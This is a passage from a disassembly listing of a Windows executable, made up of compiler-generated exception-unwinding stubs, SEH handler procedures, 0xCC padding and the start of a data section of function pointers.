--------------------------------------------------------------------------- lea ecx, [ebp-5490h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5474h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5274h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-528Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-525Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-537Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5334h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-522Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5304h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5244h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52D4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-545Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5444h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-541Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5404h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52A4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-5364h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-534Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-531Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52ECh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-52BCh] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43CDB2: ; DATA XREF: ___:004295B8o mov eax, offset dword_442D80 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 44h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_4017A8 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42ACB0 proc near ; DATA XREF: sub_42ACB0+2o mov eax, offset dword_442E68 jmp sub_437AB8 SEH_42ACB0 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-10h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42AD90 proc near ; DATA XREF: sub_42AD90+2o mov eax, offset dword_442E98 jmp sub_437AB8 SEH_42AD90 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4017A8 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42AFF0 proc near ; DATA XREF: sub_42AFF0+2o mov eax, offset dword_442EC8 jmp sub_437AB8 SEH_42AFF0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4017A8 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B380 proc near ; DATA XREF: sub_42B380+2o mov eax, offset dword_442EF8 jmp sub_437AB8 SEH_42B380 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-30h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42B440 proc near ; DATA XREF: sub_42B440+8o mov eax, offset dword_442F28 jmp sub_437AB8 SEH_42B440 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42C1B0 proc near ; DATA XREF: sub_42C1B0+5o mov eax, offset dword_442F58 jmp sub_437AB8 SEH_42C1B0 endp ; --------------------------------------------------------------------------- align 10h loc_43CEB0: ; DATA XREF: ___:0042C2C5o mov eax, offset dword_442FB8 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+20h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43CEC8: ; DATA XREF: ___:00443044o lea ecx, [ebp+8] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-1A0h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42C350 proc near ; DATA XREF: sub_42C350+2o mov eax, offset dword_443018 jmp sub_437AB8 SEH_42C350 endp ; --------------------------------------------------------------------------- db 18h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8 jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42C530 proc near ; DATA XREF: sub_42C530+2o mov eax, offset dword_443058 jmp sub_437AB8 SEH_42C530 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4017A8 ; --------------------------------------------------------------------------- loc_43CF28: ; DATA XREF: ___:0042C5D2o mov eax, offset dword_443088 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4017A8 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42C770 proc near ; DATA XREF: sub_42C770+2o mov eax, offset dword_4430B8 jmp sub_437AB8 SEH_42C770 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4017A8 ; --------------------------------------------------------------------------- mov eax, offset dword_4430E8 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-30h] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42CB70 proc near ; DATA XREF: sub_42CB70+8o mov eax, offset dword_443118 jmp sub_437AB8 SEH_42CB70 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_42CE60 proc near ; DATA XREF: sub_42CE60+2o mov eax, offset dword_443148 jmp sub_437AB8 SEH_42CE60 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp+4] push eax call sub_437AD2 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-74h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-70h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43D0A4: ; DATA XREF: ___:0042D158o mov eax, offset dword_4431A0 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 32h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_435AA0 proc near ; DATA XREF: sub_435AA0+2o mov eax, offset dword_443288 jmp sub_437AB8 SEH_435AA0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-168Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43D10B: ; DATA XREF: ___:004432ECo lea ecx, [ebp-16A4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43D116: ; DATA XREF: ___:00435B98o mov eax, offset dword_4432C0 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4364D0 proc near ; DATA XREF: sub_4364D0+2o mov eax, offset dword_4432F8 jmp sub_437AB8 SEH_4364D0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4368D0 proc near ; DATA XREF: sub_4368D0+2o mov eax, offset dword_443328 jmp sub_437AB8 SEH_4368D0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-128h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4369E0 proc near ; DATA XREF: sub_4369E0+8o mov eax, offset dword_443360 jmp sub_437AB8 SEH_4369E0 endp ; --------------------------------------------------------------------------- db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ',0 align 4 dd 31Bh dup(0) off_43F000 dd offset sub_4017D0 ; DATA XREF: sub_403720+3FEo off_43F004 dd offset byte_437AC0 ; DATA 